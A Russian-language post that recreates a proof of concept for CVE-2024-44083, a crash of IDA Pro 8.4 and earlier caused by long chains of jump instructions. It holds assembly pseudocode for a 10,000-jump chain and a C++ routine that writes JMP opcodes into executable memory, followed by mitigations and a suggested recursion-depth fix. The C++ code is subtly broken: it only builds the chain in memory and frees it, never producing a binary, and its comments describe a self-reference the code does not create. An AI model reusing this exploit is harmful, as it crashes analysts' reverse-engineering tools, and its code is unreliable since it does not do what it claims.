
мой CVE-2024-44083 poc.
оригинальные PoC-репозитории были удалены (github.com/Azvanzed/CVE-2024-44083, github.com/Azvanzed/IdaMeme), так что вот он. решил воссоздать его для тех, кто хочет понять, как это работает, или проверить свою среду.
IDA Pro ≤ 8.4 падает при анализе бинарников с чрезмерными цепочками переходов.
ida64.dll не ограничивает глубину рекурсии при отслеживании цепочек переходов. поэтому если у вас есть бинарник с тысячами связанных переходов, заканчивающихся на точке входа, IDA просто убивает себя
| поле | значение |
|---|---|
| CVE | CVE-2024-44083 |
| затронуто | IDA Pro ≤ 8.4 |
| компонент | ida64.dll |
| CWE | CWE-770 (истощение ресурсов) |
| воздействие | крах (DoS) |
идея проста: создать секцию, полную переходов, которые ведут к другим переходам
; псевдокод, очевидно
section .text
; тысячи таких
jump_0:
jmp jump_1
jump_1:
jmp jump_2
jump_2:
jmp jump_3
; ... продолжаем ...
jump_9999:
jmp payload
payload:
call _start ; это создает перекрестную ссылку, которая ломает всё
_start:
; IDA пытается разрешить все переходы, указывающие сюда
; бум, крах
ret
IDA пытается отследить все эти переходы, строя перекрестные ссылки, и при достаточном их количестве она просто сдаётся и падает
если вы хотите сделать что-то подобное на C++, вы сделаете что-то вроде:
#include <windows.h>
#include <cstring>
// идея: сгенерировать кучу инструкций перехода,
// которые объединяются в цепочку и в итоге попадают на точку входа
void generate_jump_chain() {
// выделяем исполняемую память для нашей цепочки переходов
unsigned char* code = (unsigned char*)VirtualAlloc(
NULL,
10000 * 5 + 10, // 10 000 переходов × 5 байт + небольшой запас
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!code) return;
int offset = 0;
// создаём 10 000 связанных переходов
for (int i = 0; i < 10000; i++) {
// записываем инструкцию JMP rel32 (E9 xx xx xx xx)
code[offset] = 0xE9; // опкод JMP
// вычисляем относительное смещение к следующему переходу (на 5 байт вперёд)
int32_t rel = 5;
// копируем 4-байтное относительное смещение
memcpy(&code[offset + 1], &rel, 4);
offset += 5;
}
// последний переход создаёт циклическую ссылку
// переходим на 5 байт назад, чтобы получить бесконечный цикл
code[offset] = 0xE9;
int32_t rel = -5;
memcpy(&code[offset + 1], &rel, 4);
// вы также можете вернуть значение, чтобы это выглядело правдоподобно
offset += 5;
code[offset] = 0xC3; // ret
// вот паттерн, который убивает IDA:
// 10 000 переходов → самореферентный переход → IDA застревает
// нет ограничения глубины рекурсии → переполнение стека → крах
// очистка
VirtualFree(code, 0, MEM_RELEASE);
}
по сути, вы просто записываете кучу инструкций JMP, связанных вместе. когда IDA пытается быть умной и анализировать их, у неё заканчивается стек/память
если вы застряли на старой IDA:
отключите автоанализ перед открытием подозрительных файлов
ограничьте анализ подозрительных секций
что должна делать hex-rays:
// псевдокод
#define MAX_JUMP_DEPTH 1000
void analyze_jumps(address_t addr, int depth) {
if (depth > MAX_JUMP_DEPTH) {
warn("цепочка переходов слишком глубокая. неудача.");
return; // не падать, просто остановиться
}
address_t target = get_jump_target(addr);
if (target) {
analyze_jumps(target, depth + 1);
}
}
буквально просто добавить ограничение глубины — и всё.
только для образовательных целей, не будьте мудаком